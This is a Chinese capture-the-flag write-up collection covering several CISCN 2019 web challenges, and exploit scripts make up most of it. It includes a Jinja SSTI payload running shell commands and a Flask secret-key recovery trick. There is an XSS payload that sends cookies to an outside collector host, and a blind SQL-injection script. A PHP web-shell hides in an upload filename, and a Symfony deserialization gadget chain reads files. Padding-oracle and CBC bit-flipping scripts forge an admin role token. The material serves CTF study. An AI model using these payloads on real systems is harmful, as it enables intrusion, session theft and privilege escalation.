[CISCN2019 华东南赛区]Double Secret 知识点: 加密+ ssti py2 rc4加密脚本!
import base64from urllib import parse def rc4_main (key = "init_key" , message = "init_message" ): s_box = rc4_init_sbox(key) crypt = str(rc4_excrypt(message, s_box)) return crypt def rc4_init_sbox (key ): s_box = list(range(256 )) j = 0 for i in range(256 ): j = (j + s_box[i] + ord(key[i % len(key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] return s_box def rc4_excrypt (plain, box ): res = [] i = j = 0 for s in plain: i = (i + 1 ) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr(ord(s) ^ k)) cipher = "" .join(res) return (str(base64.b64encode(cipher.encode('utf-8' )), 'utf-8' )) key = "HereIsTreasure" message = input("请输入明文:\n" ) enc_base64 = rc4_main( key , message ) enc_init = str(base64.b64decode(enc_base64),'utf-8' ) enc_url = parse.quote(enc_init) print("rc4加密后的url编码:" +enc_url)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].eval("__import__('os').popen('cat /*').read()" )}}{% endif %}{% endfor %}
[CISCN2019 华东南赛区]Web4 知识点: session覆盖,但是key是一个随机数 看见题目就感觉是 ssrf!
谁tm的知道 可以直接容易文件读取了!!🙄
主要是flask这个工具的使用了!
这个工具好多bug!难受死了!
看大佬博客! 直接容易文件读取了!
读取/sys/class/net/eth0/address app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233) app.debug = True
学到了!
这是个伪加密!
发现是一个session覆盖,但是key是一个随机数,其实python的随机数在一定条件下,也是可以得到的
seed的uuid.getnode()是mac地址,所以seed是固定的,随机数也固定
读取/sys/class/net/eth0/address
构造key
import random mac="02:42:ae:01:b2:a2" random.seed(int(mac.replace(":", ""), 16)) key = str(random.random() * 233) print(key)
然后就算用工具了! 工具不太聪明的亚子!
[CISCN2019 华东北赛区]Web2 知识点: xss+sql注入!
payload_end = '' payload = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&location=' +escape((function(){try{return document.location.href}catch(e){return''}})())+ '&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})()) +'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})()) +'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''} catch(e){return''}})());})();" for i in payload: payload_end += "&#" + str(ord(i)) payload_final = "<svg><script>eval("" + payload_end + "")</script>" print payload_final
文章:
https://zhangzy999.github.io/post/web2-xss/
https://xz.aliyun.com/t/4067#toc-21
https://saucer-man.com/information_security/103.html
https://blog.csdn.net/fdl3183566040/article/details/109011704
[CISCN2019 总决赛 Day2 Web1]Easyweb 知识点: sql注入 + getshell
import requestsurl = "http://d4035b3f-eaac-4675-8c17-e1de75f3d193.node3.buuoj.cn/image.php?id=\\0&path=" payload = "or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23" result = "" for i in range(1 ,100 ): l = 1 r = 130 mid = (l + r)>>1 while (l<r): payloads = payload.format(i,mid) print(url+payloads) html = requests.get(url+payloads) if "JFIF" in html.text: l = mid +1 else : r = mid mid = (l + r)>>1 result+=chr(mid) print(result)
------WebKitFormBoundaryFjIWmNneDMIkl51d Content-Disposition : form-data; name="file"; filename="<?=@eval($_POST['a']);?>"Content-Type : image/jpeg
[CISCN2019 总决赛 Day1 Web4]Laravel1 知识点: 代码审计 看名字是框架题!
先补习补习PHP命令空间namespace及use的用法
代码审计题目! 喜欢!!!gogogo
<?php namespace Symfony \Component \Cache { final class CacheItem {} } namespace Symfony \Component \Cache \Adapter { use Symfony \Component \Cache \CacheItem ; class PhpArrayAdapter { private $file = "/flag" ; } class TagAwareAdapter { private $deferred; private $pool; public function __construct ( ) { $this ->deferred = array ('xxx' => new CacheItem()); $this ->pool = new PhpArrayAdapter(); } } $a = new TagAwareAdapter(); echo (urlencode(serialize($a))); }
[CISCN2019 东北赛区 Day2 Web3]Point System 知识点 1、padding-oracle attack + cbc反转攻击 Padding oracle attack详细解析
padding-oracle attack
python3
import timeimport requestsimport base64import jsonhost = "0b940989-8cd4-4990-955c-62272a7ba9a5.node2.buuoj.cn.wetolink.com" port = 82 def padding_oracle (key ): user_key_decode = base64.b64decode(key) user_key_json_decode = json.loads(user_key_decode) signed_key = user_key_json_decode['signed_key' ] signed_key_decoded = base64.b64decode(signed_key) url = "http://" + host + ":" + str(port) + "/frontend/api/v1/user/info" N = 16 total_plain = '' for block in range(0 , len(signed_key_decoded) // 16 - 1 ): token = '' get = b"" cipher = signed_key_decoded[16 + block * 16 :32 + block * 16 ] for i in range(1 , N+1 ): for j in range(0 , 256 ): time.sleep(0.1 ) padding = b"" .join([(get[n] ^ i).to_bytes(1 , 'little' ) for n in range(len(get))]) c = b'\x00' * (16 - i) + j.to_bytes(1 , 'little' ) + padding + cipher token = base64.b64encode(c) user_key_json_decode['signed_key' ] = token.decode("utf-8" ) header = {'Key' : base64.b64encode(bytes(json.dumps(user_key_json_decode), "utf-8" ))} res = requests.get(url, headers=header) if res.json()['code' ] != 205 : get = (j ^ i).to_bytes(1 , 'little' ) + get print(get, i) break plain = b"" .join([(get[i] ^ signed_key_decoded[block * 16 + i]).to_bytes(1 , 'little' ) for i in range(N)]) print(plain.decode("utf-8" ), "block=%d" % block) total_plain += plain.decode("utf-8" ) print(total_plain) return total_plain plain_text = padding_oracle( "eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaFRXUWdpd1pvaGoyN0pXdDk4LysxWldiMU1CUTNxVEplL2lGcExsbTlUNGxFQkZrOFNmQ1lvRW96MTdMQlpjV25VOS92WkxuMHBiVVliakF3RUJqV0s1ZldXb3ZIeG1JRG9wRHFHTVFjQ0tBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoiMVU1Rm0zWGk3VE12dllGaFZxQkluVWZ2MGJxNEFpTWYiLCJleHBpcmVfaW4iOjE1NzA1MjU0MTB9" ) print(plain_text)
cbc字节反转攻击
import timeimport requestsimport base64import jsonhost = "0b940989-8cd4-4990-955c-62272a7ba9a5.node2.buuoj.cn.wetolink.com" port = 82 def cbc_attack (key, block, origin_content, target_content ): user_key_decode = base64.b64decode(key) user_key_json_decode = json.loads(user_key_decode) signed_key = user_key_json_decode['signed_key' ] cipher_o = base64.b64decode(signed_key) if block > 0 : iv_prefix = cipher_o[:block * 16 ] else : iv_prefix = b'' iv = cipher_o[block * 16 :16 + block * 16 ] cipher = cipher_o[16 + block * 16 :] iv_array = bytearray(iv) for i in range(0 , 16 ): iv_array[i] = iv_array[i] ^ ord(origin_content[i]) ^ ord(target_content[i]) iv = bytes(iv_array) user_key_json_decode['signed_key' ] = base64.b64encode(iv_prefix + iv + cipher).decode('utf-8' ) return base64.b64encode(bytes(json.dumps(user_key_json_decode), "utf-8" )) def get_user_info (key ): r = requests.post("http://" + host + ":" + str(port) + "/frontend/api/v1/user/info" , headers={"Key" : key}) if r.json()['code' ] == 100 : print("获取成功!" ) return r.json()['data' ] def modify_role_plain (key, role ): user_key_decode = base64.b64decode(user_key) user_key_json_decode = json.loads(user_key_decode) user_key_json_decode['role' ] = role return base64.b64encode(bytes(json.dumps(user_key_json_decode), 'utf-8' )).decode('utf-8' ) user_key = cbc_attack( "eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVS\ HNGUVI0bG41VkZDOUwwOWVjaGtZaFRXUWdpd1pvaGoyN0pXdDk4Lysx\ WldiMU1CUTNxVEplL2lGcExsbTlUNGxFQkZrOFNmQ1lvRW96MTdMQlp\ jV25VOS92WkxuMHBiVVliakF3RUJqV0s1ZldXb3ZIeG1JRG9wRHFHTVF\ jQ0tBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoiMVU1\ Rm0zWGk3VE12dllGaFZxQkluVWZ2MGJxNEFpTWYiLCJleHBpcmVfaW4iO\ jE1NzA1MjU0MTB9" , 0 , '{"role":3,"user_' , '{"role":1,"user_' )user_key = modify_role_plain(user_key, 1 ) print(user_key)